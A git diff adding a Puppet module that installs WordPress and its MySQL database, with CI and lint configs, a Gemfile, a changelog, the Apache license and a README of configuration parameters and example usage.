diff --git a/modules/utilities/unix/puppet_module/cron/templates/users.epp b/modules/utilities/unix/puppet_module/cron/templates/users.epp
new file mode 100644
index 000000000..d0fc5914c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/templates/users.epp
@@ -0,0 +1,7 @@
+<% | Array[String] $users | %>
+
+# Managed by Puppet
+
+<% $users.each | $user | { -%>
+<%= $user %>
+<% } -%>
diff --git a/modules/utilities/unix/puppet_module/wordpress/.fixtures.yml b/modules/utilities/unix/puppet_module/wordpress/.fixtures.yml
new file mode 100644
index 000000000..1d6ff32f3
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.fixtures.yml
@@ -0,0 +1,7 @@
+fixtures:
+ repositories:
+ concat: "git://github.com/ripienaar/puppet-concat.git"
+ mysql: "git://github.com/puppetlabs/puppetlabs-mysql.git"
+ stdlib: "git://github.com/puppetlabs/puppetlabs-stdlib.git"
+ symlinks:
+ wordpress: "#{source_dir}"
diff --git a/modules/utilities/unix/puppet_module/wordpress/.gitignore b/modules/utilities/unix/puppet_module/wordpress/.gitignore
new file mode 100644
index 000000000..56efb9ca1
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.gitignore
@@ -0,0 +1,22 @@
+.*.sw[op]
+.metadata
+.yardoc
+.yardwarns
+*.iml
+/.bundle/
+/.idea/
+/.vagrant/
+/coverage/
+/bin/
+/doc/
+/Gemfile.local
+/Gemfile.lock
+/junit/
+/log/
+/pkg/
+/spec/fixtures/manifests/
+/spec/fixtures/modules/
+/tmp/
+/vendor/
+/convert_report.txt
+.DS_Store
diff --git a/modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml b/modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml
new file mode 100644
index 000000000..35e420994
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.gitlab-ci.yml
@@ -0,0 +1,70 @@
+---
+stages:
+ - test_2.4.1
+ - test_2.1.9
+
+before_script:
+ - bundle -v
+ - rm Gemfile.lock || true
+ - gem update --system
+ - gem update bundler
+ - gem --version
+ - bundle -v
+ - bundle install --without system_tests
+
+rubocop-2.4.1:
+ stage: test_2.4.1
+ image: ruby:2.4.1
+ script:
+ - bundle exec rake rubocop
+
+syntax-2.4.1:
+ stage: test_2.4.1
+ image: ruby:2.4.1
+ script:
+ - bundle exec rake syntax lint
+
+metadata-2.4.1:
+ stage: test_2.4.1
+ image: ruby:2.4.1
+ script:
+ - bundle exec rake metadata_lint
+
+rspec-puppet-2.4.1:
+ stage: test_2.4.1
+ image: ruby:2.4.1
+ variables:
+ PUPPET_GEM_VERSION: ~> 4.0
+ CHECK: spec
+ script:
+ - bundle update
+ - bundle exec rake $CHECK
+
+rubocop-2.1.9:
+ stage: test_2.1.9
+ image: ruby:2.1.9
+ script:
+ - bundle exec rake rubocop
+
+syntax-2.1.9:
+ stage: test_2.1.9
+ image: ruby:2.1.9
+ script:
+ - bundle exec rake syntax lint
+
+metadata-2.1.9:
+ stage: test_2.1.9
+ image: ruby:2.1.9
+ script:
+ - bundle exec rake metadata_lint
+
+rspec-puppet-2.1.9:
+ stage: test_2.1.9
+ image: ruby:2.1.9
+ variables:
+ PUPPET_GEM_VERSION: ~> 4.0
+ CHECK: spec
+ script:
+ - bundle update
+ - bundle exec rake $CHECK
+
diff --git a/modules/utilities/unix/puppet_module/wordpress/.pdkignore b/modules/utilities/unix/puppet_module/wordpress/.pdkignore
new file mode 100644
index 000000000..56efb9ca1
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.pdkignore
@@ -0,0 +1,22 @@
+.*.sw[op]
+.metadata
+.yardoc
+.yardwarns
+*.iml
+/.bundle/
+/.idea/
+/.vagrant/
+/coverage/
+/bin/
+/doc/
+/Gemfile.local
+/Gemfile.lock
+/junit/
+/log/
+/pkg/
+/spec/fixtures/manifests/
+/spec/fixtures/modules/
+/tmp/
+/vendor/
+/convert_report.txt
+.DS_Store
diff --git a/modules/utilities/unix/puppet_module/wordpress/.rspec b/modules/utilities/unix/puppet_module/wordpress/.rspec
new file mode 100644
index 000000000..16f9cdb01
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.rspec
@@ -0,0 +1,2 @@
+--color
+--format documentation
diff --git a/modules/utilities/unix/puppet_module/wordpress/.rubocop.yml b/modules/utilities/unix/puppet_module/wordpress/.rubocop.yml
new file mode 100644
index 000000000..40a58e071
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.rubocop.yml
@@ -0,0 +1,107 @@
+---
+require: rubocop-rspec
+AllCops:
+ DisplayCopNames: true
+ TargetRubyVersion: '2.1'
+ Include:
+ - "./**/*.rb"
+ Exclude:
+ - bin/*
+ - ".vendor/**/*"
+ - Gemfile
+ - Rakefile
+ - pkg/**/*
+ - spec/fixtures/**/*
+ - vendor/**/*
+Metrics/LineLength:
+ Description: People have wide screens, use them.
+ Max: 200
+RSpec/BeforeAfterAll:
+ Description: Beware of using after(:all) as it may cause state to leak between tests.
+ A necessary evil in acceptance testing.
+ Exclude:
+ - spec/acceptance/**/*.rb
+RSpec/HookArgument:
+ Description: Prefer explicit :each argument, matching existing module's style
+ EnforcedStyle: each
+Style/BlockDelimiters:
+ Description: Prefer braces for chaining. Mostly an aesthetical choice. Better to
+ be consistent then.
+ EnforcedStyle: braces_for_chaining
+Style/ClassAndModuleChildren:
+ Description: Compact style reduces the required amount of indentation.
+ EnforcedStyle: compact
+Style/EmptyElse:
+ Description: Enforce against empty else clauses, but allow `nil` for clarity.
+ EnforcedStyle: empty
+Style/FormatString:
+ Description: Following the main puppet project's style, prefer the % format format.
+ EnforcedStyle: percent
+Style/FormatStringToken:
+ Description: Following the main puppet project's style, prefer the simpler template
+ tokens over annotated ones.
+ EnforcedStyle: template
+Style/Lambda:
+ Description: Prefer the keyword for easier discoverability.
+ EnforcedStyle: literal
+Style/RegexpLiteral:
+ Description: Community preference. See https://github.com/voxpupuli/modulesync_config/issues/168
+ EnforcedStyle: percent_r
+Style/TernaryParentheses:
+ Description: Checks for use of parentheses around ternary conditions. Enforce parentheses
+ on complex expressions for better readability, but seriously consider breaking
+ it up.
+ EnforcedStyle: require_parentheses_when_complex
+Style/TrailingCommaInArguments:
+ Description: Prefer always trailing comma on multiline argument lists. This makes
+ diffs, and re-ordering nicer.
+ EnforcedStyleForMultiline: comma
+Style/TrailingCommaInLiteral:
+ Description: Prefer always trailing comma on multiline literals. This makes diffs,
+ and re-ordering nicer.
+ EnforcedStyleForMultiline: comma
+Style/SymbolArray:
+ Description: Using percent style obscures symbolic intent of array's contents.
+ EnforcedStyle: brackets
+RSpec/MessageSpies:
+ EnforcedStyle: receive
+Style/CollectionMethods:
+ Enabled: true
+Style/MethodCalledOnDoEndBlock:
+ Enabled: true
+Style/StringMethods:
+ Enabled: true
+Layout/EndOfLine:
+ Enabled: false
+Metrics/AbcSize:
+ Enabled: false
+Metrics/BlockLength:
+ Enabled: false
+Metrics/ClassLength:
+ Enabled: false
+Metrics/CyclomaticComplexity:
+ Enabled: false
+Metrics/MethodLength:
+ Enabled: false
+Metrics/ModuleLength:
+ Enabled: false
+Metrics/ParameterLists:
+ Enabled: false
+Metrics/PerceivedComplexity:
+ Enabled: false
+RSpec/DescribeClass:
+ Enabled: false
+RSpec/ExampleLength:
+ Enabled: false
+RSpec/MessageExpectation:
+ Enabled: false
+RSpec/MultipleExpectations:
+ Enabled: false
+RSpec/NestedGroups:
+ Enabled: false
+Style/AsciiComments:
+ Enabled: false
+Style/IfUnlessModifier:
+ Enabled: false
+Style/SymbolProc:
+ Enabled: false
diff --git a/modules/utilities/unix/puppet_module/wordpress/.travis.yml b/modules/utilities/unix/puppet_module/wordpress/.travis.yml
new file mode 100644
index 000000000..6b1f5fbe4
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.travis.yml
@@ -0,0 +1,48 @@
+---
+sudo: false
+dist: trusty
+language: ruby
+cache: bundler
+before_install:
+ - bundle -v
+ - rm Gemfile.lock || true
+ - gem update --system
+ - gem update bundler
+ - gem --version
+ - bundle -v
+script:
+ - 'bundle exec rake $CHECK'
+bundler_args: --without system_tests
+rvm:
+ - 2.4.1
+env:
+ - PUPPET_GEM_VERSION="~> 5.0" CHECK=spec
+matrix:
+ fast_finish: true
+ include:
+ -
+ env: CHECK=rubocop
+ -
+ env: CHECK="syntax lint"
+ -
+ env: CHECK=metadata_lint
+ -
+ env: CHECK=spec
+ -
+ env: PUPPET_GEM_VERSION="~> 4.0" CHECK=spec
+ rvm: 2.1.9
+branches:
+ only:
+ - master
+ - /^v\d/
+notifications:
+ email: false
+deploy:
+ provider: puppetforge
+ user: puppet
+ password:
+ secure: ""
+ on:
+ tags: true
+ all_branches: true
+ condition: "$DEPLOY_TO_FORGE = yes"
diff --git a/modules/utilities/unix/puppet_module/wordpress/.yardopts b/modules/utilities/unix/puppet_module/wordpress/.yardopts
new file mode 100644
index 000000000..29c933bcf
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/.yardopts
@@ -0,0 +1 @@
+--markup markdown
diff --git a/modules/utilities/unix/puppet_module/wordpress/CHANGELOG b/modules/utilities/unix/puppet_module/wordpress/CHANGELOG
new file mode 100644
index 000000000..50c8e26b0
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/CHANGELOG
@@ -0,0 +1,73 @@
+2014-10-15 Release 1.0.0
+Features
+- Multiple instances ability via wordpress::instance
+- New wp_debug, wp_debug_log, and wp_debug_display parameters for debug output
+- New wp_config_content parameter for custom configuration
+
+Bugfixes:
+- Convert rspec-system tests to beaker-rspec tests
+- Updated readme
+
+2014-01-16 Release 0.6.0
+Features:
+- Add `wordpress::wp_additional_config` parameter for custom template
+fragments.
+- Add `wordpress::wp_table_prefix` to customize the table prefix in mysql.
+
+Bugfixes:
+- Fix idempotency for `mysql_grant` privileges.
+
+2013-12-17 Release 0.5.1
+Features:
+- Update default version of wordpress to install to 3.8
+- Add `wordpress::wp_proxy_host` and `wordpress::wp_proxy_port` for proxying
+plugin installation.
+- Add `wordpress::wp_mulitsite` and `wordpress::wp_multisite` to enable
+multisite support
+- Update to work with latest 2.x puppetlabs-mysql
+- Update to work with latest 1.x puppetlabs-concat
+- Add rspec-system integration testing, travis testing, and autopublish
+
+Bugfixes:
+- Fix ownership during installation to reduce log output and increase
+idempotency.
+
+2013-12-17 Release 0.5.0
+This release is invalid and was removed.
+
+2013-09-19 Release 0.4.2
+Bugfixes:
+- Correct Modulefile module name
+
+2013-09-19 Release 0.4.1
+Bugfixes:
+- Escape \'s in the salt
+
+2013-06-17 Release 0.4.0
+Features:
+- Add `wordpress::wp_lang` parameter
+- Add `wordpress::wp_plugin_dir` parameter
+
+Bugfixes:
+- Add class anchors
+- Conditionalize directory management
+- Fix `@db_host` template variable
+
+2012-12-31 Release 0.2.3
+Changes:
+- Remove Apache php configuration; that responsibility falls outside of this module.
+
+2012-12-28 Release 0.2.2
+Bugfixes:
+- Pass required parameters
+
+2012-12-28 Release 0.2.1
+Bugfixes:
+- Remove extraneous files from module.
+
+2012-12-28 Release 0.2.0
+Changes:
+- Add `install_url` parameter to download tarball from other location
+
+2012-12-28 Release 0.1.0
+- Initial rewrite from jonhadfield/master
diff --git a/modules/utilities/unix/puppet_module/wordpress/Gemfile b/modules/utilities/unix/puppet_module/wordpress/Gemfile
new file mode 100644
index 000000000..655b01465
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/Gemfile
@@ -0,0 +1,126 @@
+source ENV['GEM_SOURCE'] || 'https://rubygems.org'
+
+def location_for(place_or_version, fake_version = nil)
+ if place_or_version =~ %r{\A(git[:@][^#]*)#(.*)}
+ [fake_version, { git: Regexp.last_match(1), branch: Regexp.last_match(2), require: false }].compact
+ elsif place_or_version =~ %r{\Afile:\/\/(.*)}
+ ['>= 0', { path: File.expand_path(Regexp.last_match(1)), require: false }]
+ else
+ [place_or_version, { require: false }]
+ end
+end
+
+def gem_type(place_or_version)
+ if place_or_version =~ %r{\Agit[:@]}
+ :git
+ elsif !place_or_version.nil? && place_or_version.start_with?('file:')
+ :file
+ else
+ :gem
+ end
+end
+
+ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments
+minor_version = ruby_version_segments[0..1].join('.')
+
+group :development do
+ gem "fast_gettext", '1.1.0', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0')
+ gem "fast_gettext", require: false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0')
+ gem "json_pure", '<= 2.0.1', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0')
+ gem "json", '= 1.8.1', require: false if Gem::Version.new(RUBY_VERSION.dup) == Gem::Version.new('2.1.9')
+ gem "puppet-module-posix-default-r#{minor_version}", require: false, platforms: [:ruby]
+ gem "puppet-module-posix-dev-r#{minor_version}", require: false, platforms: [:ruby]
+ gem "puppet-module-win-default-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw]
+ gem "puppet-module-win-dev-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw]
+end
+
+puppet_version = ENV['PUPPET_GEM_VERSION']
+puppet_type = gem_type(puppet_version)
+facter_version = ENV['FACTER_GEM_VERSION']
+hiera_version = ENV['HIERA_GEM_VERSION']
+
+def puppet_older_than?(version)
+ puppet_version = ENV['PUPPET_GEM_VERSION']
+ !puppet_version.nil? &&
+ Gem::Version.correct?(puppet_version) &&
+ Gem::Requirement.new("< #{version}").satisfied_by?(Gem::Version.new(puppet_version.dup))
+end
+
+gems = {}
+
+gems['puppet'] = location_for(puppet_version)
+
+# If facter or hiera versions have been specified via the environment
+# variables, use those versions. If not, and if the puppet version is < 3.5.0,
+# use known good versions of both for puppet < 3.5.0.
+if facter_version
+ gems['facter'] = location_for(facter_version)
+elsif puppet_type == :gem && puppet_older_than?('3.5.0')
+ gems['facter'] = ['>= 1.6.11', '<= 1.7.5', require: false]
+end
+
+if hiera_version
+ gems['hiera'] = location_for(ENV['HIERA_GEM_VERSION'])
+elsif puppet_type == :gem && puppet_older_than?('3.5.0')
+ gems['hiera'] = ['>= 1.0.0', '<= 1.3.0', require: false]
+end
+
+if Gem.win_platform? && (puppet_type != :gem || puppet_older_than?('3.5.0'))
+ # For Puppet gems < 3.5.0 (tested as far back as 3.0.0) on Windows
+ if puppet_type == :gem
+ gems['ffi'] = ['1.9.0', require: false]
+ gems['minitar'] = ['0.5.4', require: false]
+ gems['win32-eventlog'] = ['0.5.3', '<= 0.6.5', require: false]
+ gems['win32-process'] = ['0.6.5', '<= 0.7.5', require: false]
+ gems['win32-security'] = ['~> 0.1.2', '<= 0.2.5', require: false]
+ gems['win32-service'] = ['0.7.2', '<= 0.8.8', require: false]
+ else
+ gems['ffi'] = ['~> 1.9.0', require: false]
+ gems['minitar'] = ['~> 0.5.4', require: false]
+ gems['win32-eventlog'] = ['~> 0.5', '<= 0.6.5', require: false]
+ gems['win32-process'] = ['~> 0.6', '<= 0.7.5', require: false]
+ gems['win32-security'] = ['~> 0.1', '<= 0.2.5', require: false]
+ gems['win32-service'] = ['~> 0.7', '<= 0.8.8', require: false]
+ end
+
+ gems['win32-dir'] = ['~> 0.3', '<= 0.4.9', require: false]
+
+ if RUBY_VERSION.start_with?('1.')
+ gems['win32console'] = ['1.3.2', require: false]
+ # sys-admin was removed in Puppet 3.7.0 and doesn't compile under Ruby 2.x
+ gems['sys-admin'] = ['1.5.6', require: false]
+ end
+
+ # Puppet < 3.7.0 requires these.
+ # Puppet >= 3.5.0 gem includes these as requirements.
+ # The following versions are tested to work with 3.0.0 <= puppet < 3.7.0.
+ gems['win32-api'] = ['1.4.8', require: false]
+ gems['win32-taskscheduler'] = ['0.2.2', require: false]
+ gems['windows-api'] = ['0.4.3', require: false]
+ gems['windows-pr'] = ['1.2.3', require: false]
+elsif Gem.win_platform?
+ # If we're using a Puppet gem on Windows which handles its own win32-xxx gem
+ # dependencies (>= 3.5.0), set the maximum versions (see PUP-6445).
+ gems['win32-dir'] = ['<= 0.4.9', require: false]
+ gems['win32-eventlog'] = ['<= 0.6.5', require: false]
+ gems['win32-process'] = ['<= 0.7.5', require: false]
+ gems['win32-security'] = ['<= 0.2.5', require: false]
+ gems['win32-service'] = ['<= 0.8.8', require: false]
+end
+
+gems.each do |gem_name, gem_params|
+ gem gem_name, *gem_params
+end
+
+# Evaluate Gemfile.local and ~/.gemfile if they exist
+extra_gemfiles = [
+ "#{__FILE__}.local",
+ File.join(Dir.home, '.gemfile'),
+]
+
+extra_gemfiles.each do |gemfile|
+ if File.file?(gemfile) && File.readable?(gemfile)
+ eval(File.read(gemfile), binding)
+ end
+end
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/puppet_module/wordpress/LICENSE b/modules/utilities/unix/puppet_module/wordpress/LICENSE
new file mode 100644
index 000000000..d64569567
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/LICENSE
@@ -0,0 +1,202 @@
+
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/modules/utilities/unix/puppet_module/wordpress/Modulefile b/modules/utilities/unix/puppet_module/wordpress/Modulefile
new file mode 100644
index 000000000..a490a7cb7
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/Modulefile
@@ -0,0 +1,13 @@
+name 'hunner-wordpress'
+version '1.0.0'
+source 'https://github.com/hunner/puppet-wordpress'
+author 'Hunter Haugen'
+license 'Apache2'
+summary 'Puppet module to set up an instance of wordpress'
+description 'Installs wordpress and required mysql db/user.'
+project_page 'https://github.com/hunner/puppet-wordpress'
+
+## Add dependencies, if any:
+#dependency 'puppetlabs/concat', '>= 1.0.0'
+#dependency 'puppetlabs/mysql', '>= 2.1.0'
+#dependency 'puppetlabs/stdlib', '>= 2.3.1'
diff --git a/modules/utilities/unix/puppet_module/wordpress/README.markdown b/modules/utilities/unix/puppet_module/wordpress/README.markdown
new file mode 100644
index 000000000..ca6cc5bc9
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/wordpress/README.markdown
@@ -0,0 +1,215 @@
+# WordPress Module
+
+## Overview
+
+This will set up one or more installations of Wordpress 3.8 on Debian and Redhat style distributions.
+
+## Capabilities
+
+#### Installation includes:
+
+- Configuration of WordPress DB connection parameters
+- Generate secure keys and salts for `wp-config.php`.
+- Optional creation of MySQL database/user/permissions.
+
+#### Requires:
+
+- Configuration of php-enabled webserver
+- Configuration MySQL server
+- PHP 5.3 or greater
+- User specified by `wp_owner` must exist
+
+## Parameters
+
+### Class wordpress
+
+* `install_dir`
+ Specifies the directory into which wordpress should be installed. Default: `/opt/wordpress`
+
+* `install_url`
+ Specifies the url from which the wordpress tarball should be downloaded. Default: `http://wordpress.org`
+
+* `version`
+ Specifies the version of wordpress to install. Default: `3.8`
+
+* `create_db`
+ Specifies whether to create the db or not. Default: `true`
+
+* `create_db_user`
+ Specifies whether to create the db user or not. Default: `true`
+
+* `db_name`
+ Specifies the database name which the wordpress module should be configured to use. Default: `wordpress`
+
+* `db_host`
+ Specifies the database host to connect to. Default: `localhost`
+
+* `db_user`
+ Specifies the database user. Default: `wordpress`
+
+* `db_password`
+ Specifies the database user's password in plaintext. Default: `password`
+
+* `wp_owner`
+ Specifies the owner of the wordpress files. You must ensure this user exists as this module does not attempt to create it if missing. Default: `root`
+
+* `wp_group`
+ Specifies the group of the wordpress files. Default: `0` (\*BSD/Darwin compatible GID)
+
+* `wp_lang`
+ WordPress Localized Language. Default: ''
+
+* `wp_plugin_dir`
+ WordPress Plugin Directory. Full path, no trailing slash. Default: WordPress Default
+
+* `wp_additional_config`
+ Specifies a template to include near the end of the wp-config.php file to add additional options. Default: ''
+
+* `wp_config_content`
+ Specifies the entire content for wp-config.php. This causes many of the other parameters to be ignored and allows an entirely custom config to be passed. It is recommended to use `wp_additional_config` instead of this parameter when possible.
+
+* `wp_table_prefix`
+ Specifies the database table prefix. Default: wp_
+
+* `wp_proxy_host`
+ Specifies a Hostname or IP of a proxy server for Wordpress to use to install updates, plugins, etc. Default: ''
+
+* `wp_proxy_port`
+ Specifies the port to use with the proxy host. Default: ''
+
+* `wp_site_url`
+ If your WordPress server is behind a proxy, you might need to set the WP_SITEURL with this parameter. Default: 'undef'
+
+* `wp_multisite`
+ Specifies whether to enable the multisite feature. Requires `wp_site_domain` to also be passed. Default: `false`
+
+* `wp_site_domain`
+ Specifies the `DOMAIN_CURRENT_SITE` value that will be used when configuring multisite. Typically this is the address of the main wordpress instance. Default: ''
+
+* `wp_debug`
+ Specifies the `WP_DEBUG` value that will control debugging. This must be true if you use the next two debug extensions. Default: 'false'
+
+* `wp_debug_log`
+ Specifies the `WP_DEBUG_LOG` value that extends debugging to cause all errors to also be saved to a debug.log logfile insdie the /wp-content/ directory. Default: 'false'
+
+* `wp_debug_display`
+ Specifies the `WP_DEBUG_DISPLAY` value that extends debugging to cause debug messages to be shown inline, in HTML pages. Default: 'false'
+
+### Define wordpress::instance
+
+* The parameters for `wordpress::instance` is exactly the same as the class `wordpress` except as noted below.
+* The title will be used as the default value for `install_dir` unless otherwise specified.
+* The `db_name` and `db_user` parameters are required.
+
+### Other classes and defines
+
+The classes `wordpress::app` and `wordpress::db` and defines `wordpress::instance::app` and `wordpress::instance::db` are technically private, but any PRs which add documentation and tests so that they may be made public for multi-node deployments are welcome!
+
+## Example Usage
+
+Default single deployment (insecure; default passwords and installed as root):
+
+```puppet
+class { 'wordpress': }
+```
+
+Basic deployment (secure database password, installed as `wordpress` user/group. NOTE: in this example you must ensure the `wordpress` user already exists):
+
+```puppet
+class { 'wordpress':
+ wp_owner => 'wordpress',
+ wp_group => 'wordpress',
+ db_user => 'wordpress',
+ db_password => 'hvyH(S%t(\"0\"16',
+}
+```
+
+Basic deployment of multiple instances (secure database password, installed as `wordpress` user/group):
+
+```puppet
+wordpress::instance { '/opt/wordpress1':
+ wp_owner => 'wordpress1',
+ wp_group => 'wordpress1',
+ db_user => 'wordpress1',
+ db_name => 'wordpress1',
+ db_password => 'hvyH(S%t(\"0\"16',
+}
+wordpress::instance { '/opt/wordpress2':
+ wp_owner => 'wordpress2',
+ wp_group => 'wordpress2',
+ db_user => 'wordpress2',
+ db_name => 'wordpress2',
+ db_password => 'bb69381b4b9de3a232',
+}
+```
+
+Externally hosted MySQL DB:
+
